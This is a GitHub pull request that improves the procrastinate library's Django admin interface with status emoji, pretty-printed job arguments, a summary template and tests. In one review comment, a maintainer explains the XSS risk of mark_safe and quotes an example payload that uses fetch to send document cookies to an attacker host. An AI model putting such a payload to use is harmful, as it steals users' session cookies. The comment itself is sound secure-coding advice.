Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Make django Admin interface support slightly better UX wise #1140

Merged
merged 7 commits into from
Aug 9, 2024
97 changes: 89 additions & 8 deletions procrastinate/contrib/django/admin.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,62 @@
from __future__ import annotations

import json

from django.contrib import admin
from django.template.loader import render_to_string
from django.utils import timezone
from django.utils.html import format_html
from django.utils.safestring import mark_safe

from . import models

JOB_STATUS_EMOJI_MAPPING = {
"todo": "🗓️",
"doing": "🚂",
"failed": "❌",
"succeeded": "✅",
"cancelled": "🤚",
"aborting": "🔌🕑️",
"aborted": "🔌",
}


class ProcrastinateEventInline(admin.StackedInline):
model = models.ProcrastinateEvent


@admin.register(models.ProcrastinateJob)
class ProcrastinateJobAdmin(admin.ModelAdmin):
fields = [
"pk",
"short_task_name",
"pretty_args",
"pretty_status",
"queue_name",
"lock",
"queueing_lock",
"priority",
"scheduled_at",
"attempts",
]
list_display = [
"pk",
"short_task_name",
"pretty_args",
"pretty_status",
"summary",
]
list_filter = [
"status",
"queue_name",
"task_name",
"lock",
"queueing_lock",
"scheduled_at",
"priority",
]
inlines = [ProcrastinateEventInline]

class ProcrastinateAdmin(admin.ModelAdmin):
def get_readonly_fields(
self,
request,
Expand All @@ -26,11 +77,41 @@ def has_add_permission(self, request, obj=None):
def has_delete_permission(self, request, obj=None):
return False

@admin.display(description="Status")
def pretty_status(self, instance: models.ProcrastinateJob) -> str:
emoji = JOB_STATUS_EMOJI_MAPPING.get(instance.status, "")
return f"{emoji} {instance.status.title()}"

@admin.display(description="Task Name")
def short_task_name(self, instance: models.ProcrastinateJob) -> str:
*modules, name = instance.task_name.split(".")
return format_html(
"<span title='{task_name}'>{name}</span>",
task_name=instance.task_name,
name=".".join(m[0] for m in modules) + f".{name}",
)

@admin.display(description="Args")
def pretty_args(self, instance: models.ProcrastinateJob) -> str:
indent = 2 if len(instance.args) > 1 or len(str(instance.args)) > 30 else None
pretty_json = json.dumps(instance.args, indent=indent)
if len(pretty_json) > 2000:
pretty_json = pretty_json[:2000] + "..."
return format_html(
'<pre style="margin: 0">{pretty_json}</pre>', pretty_json=pretty_json
)
Comment on lines +96 to +102
Copy link
Member

@ewjoachim ewjoachim Aug 8, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just so you know: it's dangerous to mark_safe elements that can be controlled by external sources. format_html is exactly made for this: the html will be marked safe, but the dynamic elements within will be escaped.

Imagine if someone submitted a task with {"tag": "</pre><script>fetch('http://attacker.com/?'+document.cookies); </script><pre>"} 😱

Whenever you use mark_safe, you have a 50/50 (rough estimate 😄 ) chance of introducing a XSS vulnerability. Only use that in last resort, and only if you're sure that you're doing it on 100% safe text.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TIL


admin.site.register(
[
models.ProcrastinateJob,
models.ProcrastinateEvent,
],
ProcrastinateAdmin,
)
@admin.display(description="Summary")
def summary(self, instance: models.ProcrastinateJob) -> str:
if last_event := instance.procrastinateevent_set.latest(): # type: ignore[attr-defined]
return mark_safe(
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here, mark_safe is safe because external values got escaped when the template was rendered, so the result of the temple is actually safe

render_to_string(
"procrastinate/admin/summary.html",
{
"last_event": last_event,
"job": instance,
"now": timezone.now(),
},
).strip()
)
return ""
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
# Generated by Django 5.0.8 on 2024-08-08 14:27
from __future__ import annotations

from django.db import migrations


class Migration(migrations.Migration):
dependencies = [
("procrastinate", "0029_add_additional_params_to_retry_job"),
]

operations = [
migrations.AlterModelOptions(
name="procrastinateevent",
options={"get_latest_by": "at", "managed": False},
),
]
24 changes: 24 additions & 0 deletions procrastinate/contrib/django/models.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@

from django.db import models

from procrastinate import jobs

from . import exceptions, settings


Expand Down Expand Up @@ -85,6 +87,24 @@ class Meta: # type: ignore
managed = False
db_table = "procrastinate_jobs"

@property
def procrastinate_job(self) -> jobs.Job:
return jobs.Job(
id=self.id,
queue=self.queue_name,
task_name=self.task_name,
task_kwargs=self.args,
priority=self.priority,
lock=self.lock,
status=self.status,
scheduled_at=self.scheduled_at,
attempts=self.attempts,
queueing_lock=self.queueing_lock,
)

def __str__(self) -> str:
return self.procrastinate_job.call_string


class ProcrastinateEvent(ProcrastinateReadOnlyModelMixin, models.Model):
TYPES = (
Expand All @@ -108,6 +128,10 @@ class ProcrastinateEvent(ProcrastinateReadOnlyModelMixin, models.Model):
class Meta: # type: ignore
managed = False
db_table = "procrastinate_events"
get_latest_by = "at"

def __str__(self) -> str:
return f"Event {self.id} - Job {self.job_id}: {self.type} at {self.at}" # type: ignore


class ProcrastinatePeriodicDefer(ProcrastinateReadOnlyModelMixin, models.Model):
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
<ul style="padding: 0; margin: 0;">
<li style="list-style-type: none">
{{ last_event.type | title }}
<strong title="{{ last_event.at|date:"Y-m-d H:i:s.u (e)" }}">{{ last_event.at|timesince }} ago</strong>
</li>
{% if job.queue_name %}
<li style="list-style-type: none">
<strong>Queue:</strong>
{{ job.queue_name }}
</li>
{% endif %}
{% if job.lock %}
<li style="list-style-type: none">
<strong>Lock:</strong>
{{ job.lock }}
</li>
{% endif %}
{% if job.queueing_lock %}
<li style="list-style-type: none">
<strong>Queueing lock:</strong>
{{ job.queueing_lock }}
</li>
{% endif %}
{% if job.priority != 0 %}
<li style="list-style-type: none">
<strong>Priority:</strong>
{{ job.priority }}
</li>
{% endif %}
{% if job.scheduled_at %}
<li style="list-style-type: none">
<strong>Scheduled:</strong>
<span title="{{ job.scheduled_at|date:"Y-m-d H:i:s.u (e)" }}">
{% if job.scheduled_at > now %}
in {{ job.scheduled_at|timeuntil }}
{% else %}
{{ job.scheduled_at|timesince }} ago
{% endif %}
</span>
</li>
{% endif %}
{% if job.attempts > 1 %}
<li style="list-style-type: none">
<strong>Attempts:</strong>
{{ job.attempts }}
</li>
{% endif %}
</ul>
6 changes: 6 additions & 0 deletions tests/acceptance/django_settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,12 @@
},
}
INSTALLED_APPS = [
"django.contrib.admin",
"django.contrib.auth",
"django.contrib.contenttypes",
"django.contrib.sessions",
"django.contrib.messages",
"django.contrib.staticfiles",
"procrastinate.contrib.django",
]
USE_TZ = True # To avoid RemovedInDjango50Warning
28 changes: 28 additions & 0 deletions tests/integration/contrib/django/test_models.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
import procrastinate
import procrastinate.contrib.django
import procrastinate.contrib.django.exceptions
from procrastinate import jobs as jobs_module
from procrastinate.contrib.django import models


Expand All @@ -30,6 +31,33 @@ def test_procrastinate_job(db):
}


def test_procrastinate_job__property(db):
job = models.ProcrastinateJob(
id=1,
queue_name="foo",
task_name="test_task",
priority=0,
lock="bar",
args={"a": 1, "b": 2},
status="todo",
scheduled_at=datetime.datetime(2021, 1, 1, tzinfo=datetime.timezone.utc),
attempts=0,
queueing_lock="baz",
)
assert job.procrastinate_job == jobs_module.Job(
id=1,
queue="foo",
task_name="test_task",
task_kwargs={"a": 1, "b": 2},
priority=0,
lock="bar",
status="todo",
scheduled_at=datetime.datetime(2021, 1, 1, tzinfo=datetime.timezone.utc),
attempts=0,
queueing_lock="baz",
)


def test_procrastinate_job__no_create(db):
with pytest.raises(procrastinate.contrib.django.exceptions.ReadOnlyModel):
models.ProcrastinateJob.objects.create(task_name="test_task")
Expand Down
8 changes: 8 additions & 0 deletions tests/unit/contrib/django/test_admin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
from __future__ import annotations

from procrastinate import jobs
from procrastinate.contrib.django import admin


def test_emoji_mapping():
assert set(admin.JOB_STATUS_EMOJI_MAPPING) == {e.value for e in jobs.Status}
Loading